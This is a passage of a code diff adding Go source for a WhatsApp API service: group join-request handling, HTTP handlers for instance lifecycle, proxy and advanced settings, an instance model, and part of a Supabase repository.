+	case "approval_off":
+		err = client.SetGroupJoinApprovalMode(context.Background(), recipient, false)
+	case "admin_add":
+		err = client.SetGroupMemberAddMode(context.Background(), recipient, "admin_add")
+	case "all_member_add":
+		err = client.SetGroupMemberAddMode(context.Background(), recipient, "all_member_add")
+	}
+
+	if err != nil {
+		g.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error updating group settings: %v", instance.Id, err)
+		return err
+	}
+
+	g.loggerWrapper.GetLogger(instance.Id).LogInfo("[%s] Group settings updated successfully: %s", instance.Id, data.Action)
+	return nil
+}
+
+func (g *groupService) GetGroupRequestParticipants(data *GetGroupRequestParticipantsStruct, instance *instance_model.Instance) ([]EnrichedGroupParticipantRequest, error) {
+	client, err := g.ensureClientConnected(instance.Id)
+	if err != nil {
+		return nil, err
+	}
+
+	recipient, ok := utils.ParseJID(data.GroupJID)
+	if !ok {
+		g.loggerWrapper.GetLogger(instance.Id).LogError("[%s] Error validating group jid", instance.Id)
+		return nil, errors.New("invalid group jid")
+	}
+
+	requests, err := client.GetGroupRequestParticipants(context.Background(), recipient)
+	if err != nil {
+		g.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error getting group request participants: %v", instance.Id, err)
+		return nil, err
+	}
+
+	g.loggerWrapper.GetLogger(instance.Id).LogInfo("[%s] Retrieved %d pending group requests", instance.Id, len(requests))
+
+	// Enriquecer com informações de usuário (PushName)
+	enrichedRequests := make([]EnrichedGroupParticipantRequest, len(requests))
+	jidsToFetch := make([]types.JID, 0, len(requests))
+
+	for _, req := range requests {
+		if req.JID.User != "" {
+			jidsToFetch = append(jidsToFetch, req.JID)
+		}
+	}
+
+	// Buscar informações de usuário em lote
+	userInfoMap := make(map[types.JID]types.UserInfo)
+	if len(jidsToFetch) > 0 {
+		userInfoMap, err = client.GetUserInfo(context.Background(), jidsToFetch)
+		if err != nil {
+			g.loggerWrapper.GetLogger(instance.Id).LogWarn("[%s] Could not fetch user info: %v", instance.Id, err)
+			// Continuar sem pushName se falhar
+		}
+	}
+
+	// Montar resposta enriquecida
+	for i, req := range requests {
+		enrichedRequests[i] = EnrichedGroupParticipantRequest{
+			JID:         req.JID,
+			RequestedAt: req.RequestedAt,
+			PushName:    "",
+		}
+
+		// Tentar obter PushName
+		lookupJID := req.JID
+
+		if userInfo, found := userInfoMap[lookupJID]; found {
+			// VerifiedName é ponteiro, verificar se não é nil
+			if userInfo.VerifiedName != nil && userInfo.VerifiedName.Details.GetVerifiedName() != "" {
+				enrichedRequests[i].PushName = userInfo.VerifiedName.Details.GetVerifiedName()
+			}
+		}
+
+		// Tentar obter do store de contatos se não tiver VerifiedName
+		if enrichedRequests[i].PushName == "" && client.Store.Contacts != nil {
+			if contactInfo, err := client.Store.Contacts.GetContact(context.Background(), lookupJID); err == nil && contactInfo.PushName != "" {
+				enrichedRequests[i].PushName = contactInfo.PushName
+			} else if contactInfo.FullName != "" {
+				enrichedRequests[i].PushName = contactInfo.FullName
+			}
+		}
+	}
+
+	return enrichedRequests, nil
+}
+
+func (g *groupService) UpdateGroupRequestParticipants(data *UpdateGroupRequestParticipantsStruct, instance *instance_model.Instance) ([]types.GroupParticipant, error) {
+	client, err := g.ensureClientConnected(instance.Id)
+	if err != nil {
+		return nil, err
+	}
+
+	recipient, ok := utils.ParseJID(data.GroupJID)
+	if !ok {
+		g.loggerWrapper.GetLogger(instance.Id).LogError("[%s] Error validating group jid", instance.Id)
+		return nil, errors.New("invalid group jid")
+	}
+
+	// Validate action
+	var action whatsmeow.ParticipantRequestChange
+	switch data.Action {
+	case "approve":
+		action = whatsmeow.ParticipantChangeApprove
+	case "reject":
+		action = whatsmeow.ParticipantChangeReject
+	default:
+		g.loggerWrapper.GetLogger(instance.Id).LogError("[%s] Invalid action: %s", instance.Id, data.Action)
+		return nil, errors.New("invalid action. Valid actions: approve, reject")
+	}
+
+	// Parse participants JIDs
+	var participants []types.JID
+	for _, participant := range data.Participants {
+		participantJID, ok := utils.ParseJID(participant)
+		if !ok {
+			g.loggerWrapper.GetLogger(instance.Id).LogError("[%s] Error validating participant jid: %s", instance.Id, participant)
+			return nil, errors.New("invalid participant jid: " + participant)
+		}
+		participants = append(participants, participantJID)
+	}
+
+	results, err := client.UpdateGroupRequestParticipants(context.Background(), recipient, participants, action)
+	if err != nil {
+		g.loggerWrapper.GetLogger(instance.Id).LogError("[%s] error updating group request participants: %v", instance.Id, err)
+		return nil, err
+	}
+
+	g.loggerWrapper.GetLogger(instance.Id).LogInfo("[%s] Successfully %sd %d participants", instance.Id, data.Action, len(participants))
+	return results, nil
+}
+
+func NewGroupService(
+	clientPointer map[string]*whatsmeow.Client,
+	whatsmeowService whatsmeow_service.WhatsmeowService,
+	loggerWrapper *logger_wrapper.LoggerManager,
+) GroupService {
+	return &groupService{
+		clientPointer:    clientPointer,
+		whatsmeowService: whatsmeowService,
+		loggerWrapper:    loggerWrapper,
+	}
+}

whatsapp-service/pkg/instance/handler/instance_handler.go

@@ -0,0 +1,660 @@
+package instance_handler
+
+import (
+	"net/http"
+	"time"
+
+	"github.com/gin-gonic/gin"
+
+	config "agentdeck-whatsapp-service/pkg/config"
+	instance_model "agentdeck-whatsapp-service/pkg/instance/model"
+	instance_service "agentdeck-whatsapp-service/pkg/instance/service"
+	"agentdeck-whatsapp-service/pkg/utils"
+)
+
+type InstanceHandler interface {
+	Create(ctx *gin.Context)
+	Connect(ctx *gin.Context)
+	Reconnect(ctx *gin.Context)
+	Disconnect(ctx *gin.Context)
+	Logout(ctx *gin.Context)
+	Delete(ctx *gin.Context)
+	Status(ctx *gin.Context)
+	Qr(ctx *gin.Context)
+	All(ctx *gin.Context)
+	Info(ctx *gin.Context)
+	Pair(ctx *gin.Context)
+	SetProxy(ctx *gin.Context)
+	DeleteProxy(ctx *gin.Context)
+	ForceReconnect(ctx *gin.Context)
+	GetLogs(ctx *gin.Context)
+	GetAdvancedSettings(ctx *gin.Context)
+	UpdateAdvancedSettings(ctx *gin.Context)
+}
+
+type instanceHandler struct {
+	config          *config.Config
+	instanceService instance_service.InstanceService
+}
+
+// Create a new instance
+// @Summary Create a new instance
+// @Description Creates a new instance with the provided data including optional advanced settings
+// @Tags Instance
+// @Accept json
+// @Produce json
+// @Param instance body instance_service.CreateStruct true "Instance data with optional advanced settings"
+// @Success 200 {object} gin.H "Instance created successfully"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /instance/create [post]
+func (i *instanceHandler) Create(ctx *gin.Context) {
+	var data *instance_service.CreateStruct
+	err := ctx.ShouldBindJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	if data.Name == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "name is required"})
+		return
+	}
+
+	if data.Token == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "token is required"})
+		return
+	}
+
+	if data.Proxy != nil {
+		if data.Proxy.Port == "" {
+			ctx.JSON(http.StatusBadRequest, gin.H{"error": "proxy port is required"})
+			return
+		}
+
+		if data.Proxy.Password == "" {
+			ctx.JSON(http.StatusBadRequest, gin.H{"error": "proxy password is required"})
+			return
+		}
+
+		if data.Proxy.Username == "" {
+			ctx.JSON(http.StatusBadRequest, gin.H{"error": "proxy username is required"})
+			return
+		}
+
+		if data.Proxy.Host == "" {
+			ctx.JSON(http.StatusBadRequest, gin.H{"error": "proxy host is required"})
+			return
+		}
+	} else {
+		if i.config.ProxyHost != "" && i.config.ProxyPort != "" && i.config.ProxyUsername != "" && i.config.ProxyPassword != "" {
+			data.Proxy = &instance_service.ProxyConfig{
+				Host:     i.config.ProxyHost,
+				Port:     i.config.ProxyPort,
+				Username: i.config.ProxyUsername,
+				Password: i.config.ProxyPassword,
+			}
+		}
+	}
+
+	createdInstance, err := i.instanceService.Create(data)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success", "data": createdInstance})
+}
+
+// Connect to instance
+// @Summary Connect to instance
+// @Description Connect to instance with the provided data
+// @Tags Instance
+// @Accept json
+// @Produce json
+// @Param instance body instance_service.ConnectStruct true "Instance data"
+// @Success 200 {object} gin.H "Instance connected successfully"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /instance/connect [post]
+func (i *instanceHandler) Connect(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	var data *instance_service.ConnectStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	instance, jid, eventString, err := i.instanceService.Connect(data, instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.Set("instance", instance)
+
+	responseData := gin.H{
+		"jid":         jid,
+		"webhookUrl":  instance.Webhook,
+		"eventString": eventString,
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success", "data": responseData})
+}
+
+// Reconnect to instance
+// @Summary Reconnect to instance
+// @Description Reconnect to instance
+// @Tags Instance
+// @Accept json
+// @Produce json
+// @Success 200 {object} gin.H "Instance reconnected successfully"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /instance/reconnect [post]
+func (i *instanceHandler) Reconnect(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	err := i.instanceService.Reconnect(instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success"})
+}
+
+// Disconnect from instance
+// @Summary Disconnect from instance
+// @Description Disconnect from instance
+// @Tags Instance
+// @Accept json
+// @Produce json
+// @Success 200 {object} gin.H "Instance disconnected successfully"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /instance/disconnect [post]
+func (i *instanceHandler) Disconnect(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	updateInstance, err := i.instanceService.Disconnect(instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.Set("instance", updateInstance)
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success"})
+}
+
+// Logout from instance
+// @Summary Logout from instance
+// @Description Logout from instance
+// @Tags Instance
+// @Accept json
+// @Produce json
+// @Success 200 {object} gin.H "Instance logged out successfully"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /instance/logout [delete]
+func (i *instanceHandler) Logout(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusNotFound, gin.H{"error": "instance not found"})
+		return
+	}
+
+	updateInstance, err := i.instanceService.Logout(instance)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.Set("instance", updateInstance)
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success"})
+}
+
+// Get instance status
+// @Summary Get instance status
+// @Description Get instance status
+// @Tags Instance
+// @Accept json
+// @Produce json
+// @Success 200 {object} gin.H "Instance status"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /instance/status [get]
+func (i *instanceHandler) Status(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusNotFound, gin.H{"error": "instance not found"})
+		return
+	}
+
+	status, err := i.instanceService.Status(instance)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success", "data": status})
+}
+
+// Get instance QR code
+// @Summary Get instance QR code
+// @Description Get instance QR code
+// @Tags Instance
+// @Accept json
+// @Produce json
+// @Success 200 {object} gin.H "Instance QR code"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /instance/qr [get]
+func (i *instanceHandler) Qr(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusNotFound, gin.H{"error": "instance not found"})
+		return
+	}
+
+	qrcode, err := i.instanceService.GetQr(instance)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success", "data": qrcode})
+}
+
+// Request pairing code
+// @Summary Request pairing code
+// @Description Request pairing code
+// @Tags Instance
+// @Accept json
+// @Produce json
+// @Param instance body instance_service.PairStruct true "Instance data"
+// @Success 200 {object} gin.H "Pairing code"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /instance/pair [post]
+func (i *instanceHandler) Pair(ctx *gin.Context) {
+	getInstance := ctx.MustGet("instance")
+
+	instance, ok := getInstance.(*instance_model.Instance)
+	if !ok {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": "instance not found"})
+		return
+	}
+
+	var data *instance_service.PairStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	if data.Phone == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "phone is required"})
+		return
+	}
+
+	pairingCode, err := i.instanceService.Pair(data, instance)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success", "data": pairingCode})
+}
+
+// Get all instances
+// @Summary Get all instances
+// @Description Get all instances
+// @Tags Instance
+// @Accept json
+// @Produce json
+// @Success 200 {object} gin.H "All instances"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /instance/all [get]
+func (i *instanceHandler) All(ctx *gin.Context) {
+	instances, err := i.instanceService.GetAll()
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success", "data": instances})
+}
+
+// Get instance
+// @Summary Get instance
+// @Description Get instance
+// @Tags Instance
+// @Accept json
+// @Produce json
+// @Param instanceId path string true "Instance Id"
+// @Success 200 {object} gin.H "Instance"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /instance/info/{instanceId} [get]
+func (i *instanceHandler) Info(ctx *gin.Context) {
+	instanceId := ctx.Param("instanceId")
+
+	if instanceId == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "instanceId is required"})
+		return
+	}
+
+	instance, err := i.instanceService.Info(instanceId)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success", "data": instance})
+}
+
+// Delete instance
+// @Summary Delete instance
+// @Description Delete instance
+// @Tags Instance
+// @Accept json
+// @Produce json
+// @Param instanceId path string true "Instance Id"
+// @Success 200 {object} gin.H "Instance deleted successfully"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /instance/delete/{instanceId} [delete]
+func (i *instanceHandler) Delete(ctx *gin.Context) {
+	instanceId := ctx.Param("instanceId")
+
+	if instanceId == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "instanceId is required"})
+		return
+	}
+
+	err := i.instanceService.Delete(instanceId)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success"})
+}
+
+// Set proxy
+// @Summary Set proxy configuration
+// @Description Set proxy configuration for an instance
+// @Tags Instance
+// @Accept json
+// @Produce json
+// @Param instanceId path string true "Instance id"
+// @Param proxy body instance_service.SetProxyStruct true "Proxy configuration"
+// @Success 200 {object} gin.H "Proxy set successfully"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /instance/proxy/{instanceId} [post]
+func (i *instanceHandler) SetProxy(ctx *gin.Context) {
+	instanceId := ctx.Param("instanceId")
+
+	if instanceId == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "instanceId is required"})
+		return
+	}
+
+	var data *instance_service.SetProxyStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	// Validate required fields
+	if data.Host == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "host is required"})
+		return
+	}
+
+	if data.Port == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "port is required"})
+		return
+	}
+
+	err = i.instanceService.SetProxyFromStruct(instanceId, data)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	responseData := gin.H{
+		"protocol": utils.NormalizeProxyProtocol(data.Protocol, data.Port),
+		"host":     data.Host,
+		"port":     data.Port,
+		"hasAuth":  data.Username != "" && data.Password != "",
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success", "data": responseData})
+}
+
+// Delete proxy
+// @Summary Delete proxy
+// @Description Delete proxy
+// @Tags Instance
+// @Accept json
+// @Produce json
+// @Param instanceId path string true "Instance id"
+// @Success 200 {object} gin.H "Proxy deleted successfully"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /instance/proxy/{instanceId} [delete]
+func (i *instanceHandler) DeleteProxy(ctx *gin.Context) {
+	instanceId := ctx.Param("instanceId")
+
+	if instanceId == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "id is required"})
+		return
+	}
+
+	err := i.instanceService.RemoveProxy(instanceId)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success"})
+}
+
+// Force reconnect
+// @Summary Force reconnect
+// @Description Force reconnect
+// @Tags Instance
+// @Accept json
+// @Produce json
+// @Param instanceId path string true "Instance Id"
+// @Param instance body instance_service.ForceReconnectStruct true "Instance data"
+// @Success 200 {object} gin.H "Instance force reconnected successfully"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /instance/forcereconnect/{instanceId} [post]
+func (i *instanceHandler) ForceReconnect(ctx *gin.Context) {
+	instanceId := ctx.Param("instanceId")
+
+	if instanceId == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "instanceId is required"})
+		return
+	}
+
+	var data *instance_service.ForceReconnectStruct
+	err := ctx.ShouldBindBodyWithJSON(&data)
+	if err != nil {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	var number string
+	if data.Number == "" {
+		ctx.JSON(http.StatusBadRequest, gin.H{"error": "number is required"})
+		return
+	}
+
+	number = data.Number
+
+	err = i.instanceService.ForceReconnect(instanceId, number)
+	if err != nil {
+		ctx.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	ctx.JSON(http.StatusOK, gin.H{"message": "success"})
+}
+
+type GetLogsQuery struct {
+	StartDate string `form:"start_date"`
+	EndDate   string `form:"end_date"`
+	Level     string `form:"level"`
+	Limit     int    `form:"limit"`
+}
+
+// GetLogs returns the log entries for an instance
+// @Summary Get instance logs
+// @Description Returns log entries for an instance, filterable by date range, level and limit
+// @Tags Instance
+// @Produce json
+// @Param instanceId path string true "Instance Id"
+// @Param start_date query string false "Start date (YYYY-MM-DD, defaults to 7 days ago)"
+// @Param end_date query string false "End date (YYYY-MM-DD, defaults to now)"
+// @Param level query string false "Log level filter"
+// @Param limit query int false "Max number of entries"
+// @Success 200 {object} gin.H "Logs"
+// @Failure 400 {object} gin.H "Error on validation"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /instance/logs/{instanceId} [get]
+func (h *instanceHandler) GetLogs(c *gin.Context) {
+	instanceId := c.Param("instanceId")
+
+	var query GetLogsQuery
+	if err := c.ShouldBindQuery(&query); err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	// Converte as datas
+	startDate, err := time.Parse("2006-01-02", query.StartDate)
+	if err != nil {
+		startDate = time.Now().AddDate(0, 0, -7) // Default: 7 dias atrás
+	}
+
+	endDate, err := time.Parse("2006-01-02", query.EndDate)
+	if err != nil {
+		endDate = time.Now()
+	}
+
+	// Ajusta o endDate para o final do dia
+	endDate = time.Date(endDate.Year(), endDate.Month(), endDate.Day(), 23, 59, 59, 999999999, time.UTC)
+
+	if query.Limit == 0 {
+		query.Limit = 100 // Default: 100 registros
+	}
+
+	logs, err := h.instanceService.GetLogs(instanceId, startDate, endDate, query.Level, query.Limit)
+	if err != nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	c.JSON(http.StatusOK, logs)
+}
+
+// GetAdvancedSettings retrieves advanced settings for an instance
+// @Summary Get advanced settings
+// @Description Get advanced settings for a specific instance
+// @Tags Instance
+// @Produce json
+// @Param instanceId path string true "Instance ID"
+// @Success 200 {object} instance_model.AdvancedSettings "Advanced settings retrieved successfully"
+// @Failure 400 {object} gin.H "Invalid instance ID"
+// @Failure 404 {object} gin.H "Instance not found"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /instance/{instanceId}/advanced-settings [get]
+func (h *instanceHandler) GetAdvancedSettings(c *gin.Context) {
+	instanceId := c.Param("instanceId")
+
+	if instanceId == "" {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "instanceId is required"})
+		return
+	}
+
+	settings, err := h.instanceService.GetAdvancedSettings(instanceId)
+	if err != nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	c.JSON(http.StatusOK, settings)
+}
+
+// UpdateAdvancedSettings updates advanced settings for an instance
+// @Summary Update advanced settings
+// @Description Update advanced settings for a specific instance
+// @Tags Instance
+// @Accept json
+// @Produce json
+// @Param instanceId path string true "Instance ID"
+// @Param settings body instance_model.AdvancedSettings true "Advanced settings data"
+// @Success 200 {object} gin.H "Advanced settings updated successfully"
+// @Failure 400 {object} gin.H "Invalid request data"
+// @Failure 404 {object} gin.H "Instance not found"
+// @Failure 500 {object} gin.H "Internal server error"
+// @Router /instance/{instanceId}/advanced-settings [put]
+func (h *instanceHandler) UpdateAdvancedSettings(c *gin.Context) {
+	instanceId := c.Param("instanceId")
+
+	if instanceId == "" {
+		c.JSON(http.StatusBadRequest, gin.H{"error": "instanceId is required"})
+		return
+	}
+
+	var settings instance_model.AdvancedSettings
+	if err := c.ShouldBindJSON(&settings); err != nil {
+		c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
+		return
+	}
+
+	err := h.instanceService.UpdateAdvancedSettings(instanceId, &settings)
+	if err != nil {
+		c.JSON(http.StatusInternalServerError, gin.H{"error": err.Error()})
+		return
+	}
+
+	c.JSON(http.StatusOK, gin.H{
+		"message":  "Advanced settings updated successfully",
+		"settings": settings,
+	})
+}
+
+func NewInstanceHandler(instanceService instance_service.InstanceService, config *config.Config) InstanceHandler {
+	return &instanceHandler{instanceService: instanceService, config: config}
+}

whatsapp-service/pkg/instance/model/instance_model.go

@@ -0,0 +1,52 @@
+package instance_model
+
+import (
+	"time"
+
+	"github.com/google/uuid"
+)
+
+type Instance struct {
+	Id               string    `json:"id"`
+	Name             string    `json:"name"`
+	Token            string    `json:"token"`
+	Webhook          string    `json:"webhook"`
+	RabbitmqEnable   string    `json:"rabbitmqEnable"`
+	WebSocketEnable  string    `json:"websocketEnable"`
+	NatsEnable       string    `json:"natsEnable"`
+	Jid              string    `json:"jid"`
+	Qrcode           string    `json:"qrcode"`
+	Connected        bool      `json:"connected"`
+	Expiration       int64     `json:"expiration"`
+	DisconnectReason string    `json:"disconnect_reason"`
+	Events           string    `json:"events"`
+	OsName           string    `json:"os_name"`
+	Proxy            string    `json:"proxy"`
+	ClientName       string    `json:"client_name"`
+	CreatedAt        time.Time `json:"createdAt"`
+
+	// Advanced Settings
+	AlwaysOnline  bool   `json:"alwaysOnline"`
+	RejectCall    bool   `json:"rejectCall"`
+	MsgRejectCall string `json:"msgRejectCall"`
+	ReadMessages  bool   `json:"readMessages"`
+	IgnoreGroups  bool   `json:"ignoreGroups"`
+	IgnoreStatus  bool   `json:"ignoreStatus"`
+}
+
+// AdvancedSettings representa as configurações avançadas de uma instância
+type AdvancedSettings struct {
+	AlwaysOnline  bool   `json:"alwaysOnline"`
+	RejectCall    bool   `json:"rejectCall"`
+	MsgRejectCall string `json:"msgRejectCall"`
+	ReadMessages  bool   `json:"readMessages"`
+	IgnoreGroups  bool   `json:"ignoreGroups"`
+	IgnoreStatus  bool   `json:"ignoreStatus"`
+}
+
+// EnsureID assigns a UUID when not already set.
+func (m *Instance) EnsureID() {
+	if m.Id == "" {
+		m.Id = uuid.New().String()
+	}
+}

whatsapp-service/pkg/instance/repository/instance_repository.go

@@ -0,0 +1,333 @@
+package instance_repository
+
+import (
+	"context"
+	"fmt"
+	"time"
+
+	instance_model "agentdeck-whatsapp-service/pkg/instance/model"
+	"agentdeck-whatsapp-service/pkg/supabase"
+	"github.com/google/uuid"
+)
+
+type InstanceRepository interface {
+	Create(instance instance_model.Instance) (*instance_model.Instance, error)
+	GetInstanceByID(instanceId string) (*instance_model.Instance, error)
+	GetConnectedInstanceByID(instanceId string) (*instance_model.Instance, error)
+	GetInstanceByToken(token string) (*instance_model.Instance, error)
+	GetInstanceByName(name string) (*instance_model.Instance, error)
+	Update(*instance_model.Instance) error
+	UpdateConnected(userId string, status bool, disconnectReason string) error
+	UpdateQrcode(userId string, qr string) error
+	UpdateProxy(userId string, proxy string) error
+	UpdateJid(userId string, jid string) error
+	GetAllConnectedInstances() ([]*instance_model.Instance, error)
+	GetAllConnectedInstancesByClientName(clientName string) ([]*instance_model.Instance, error)
+	GetAll(clientName string) ([]*instance_model.Instance, error)
+	Delete(instanceId string) error
+	GetAdvancedSettings(instanceId string) (*instance_model.AdvancedSettings, error)
+	UpdateAdvancedSettings(instanceId string, settings *instance_model.AdvancedSettings) error
+}
+
+// instanceRow is the snake_case PostgREST representation of an instance row.
+// The public API model keeps its camelCase JSON tags; this row maps only the DB.
+type instanceRow struct {
+	Id               string  `json:"id"`
+	Name             string  `json:"name"`
+	Token            string  `json:"token"`
+	Webhook          string  `json:"webhook"`
+	RabbitmqEnable   string  `json:"rabbitmq_enable"`
+	WebSocketEnable  string  `json:"web_socket_enable"`
+	NatsEnable       string  `json:"nats_enable"`
+	Jid              string  `json:"jid"`
+	Qrcode           string  `json:"qrcode"`
+	Connected        bool    `json:"connected"`
+	Expiration       int64   `json:"expiration"`
+	DisconnectReason string  `json:"disconnect_reason"`
+	Events           string  `json:"events"`
+	OsName           string  `json:"os_name"`
+	Proxy            string  `json:"proxy"`
+	ClientName       string  `json:"client_name"`
+	CreatedAt        *string `json:"created_at,omitempty"`
+
+	AlwaysOnline  bool   `json:"always_online"`
+	RejectCall    bool   `json:"reject_call"`
+	MsgRejectCall string `json:"msg_reject_call"`
+	ReadMessages  bool   `json:"read_messages"`
+	IgnoreGroups  bool   `json:"ignore_groups"`
+	IgnoreStatus  bool   `json:"ignore_status"`
+}
+
+type instanceRepository struct {
+	supa *supabase.Client
+}
+
+func toRow(instance instance_model.Instance) instanceRow {
+	return instanceRow{
+		Id:               instance.Id,
+		Name:             instance.Name,
+		Token:            instance.Token,
+		Webhook:          instance.Webhook,
+		RabbitmqEnable:   instance.RabbitmqEnable,
+		WebSocketEnable:  instance.WebSocketEnable,
+		NatsEnable:       instance.NatsEnable,
+		Jid:              instance.Jid,
+		Qrcode:           instance.Qrcode,
+		Connected:        instance.Connected,
+		Expiration:       instance.Expiration,
+		DisconnectReason: instance.DisconnectReason,
+		Events:           instance.Events,
+		OsName:           instance.OsName,
+		Proxy:            instance.Proxy,
+		ClientName:       instance.ClientName,
+		AlwaysOnline:     instance.AlwaysOnline,
+		RejectCall:       instance.RejectCall,
+		MsgRejectCall:    instance.MsgRejectCall,
+		ReadMessages:     instance.ReadMessages,
+		IgnoreGroups:     instance.IgnoreGroups,
+		IgnoreStatus:     instance.IgnoreStatus,
+	}
+}
+
+func fromRow(r *instanceRow) *instance_model.Instance {
+	instance := &instance_model.Instance{
+		Id:               r.Id,
+		Name:             r.Name,
+		Token:            r.Token,
+		Webhook:          r.Webhook,
+		RabbitmqEnable:   r.RabbitmqEnable,
+		WebSocketEnable:  r.WebSocketEnable,
+		NatsEnable:       r.NatsEnable,
+		Jid:              r.Jid,
+		Qrcode:           r.Qrcode,
+		Connected:        r.Connected,
+		Expiration:       r.Expiration,
+		DisconnectReason: r.DisconnectReason,
+		Events:           r.Events,
+		OsName:           r.OsName,
+		Proxy:            r.Proxy,
+		ClientName:       r.ClientName,
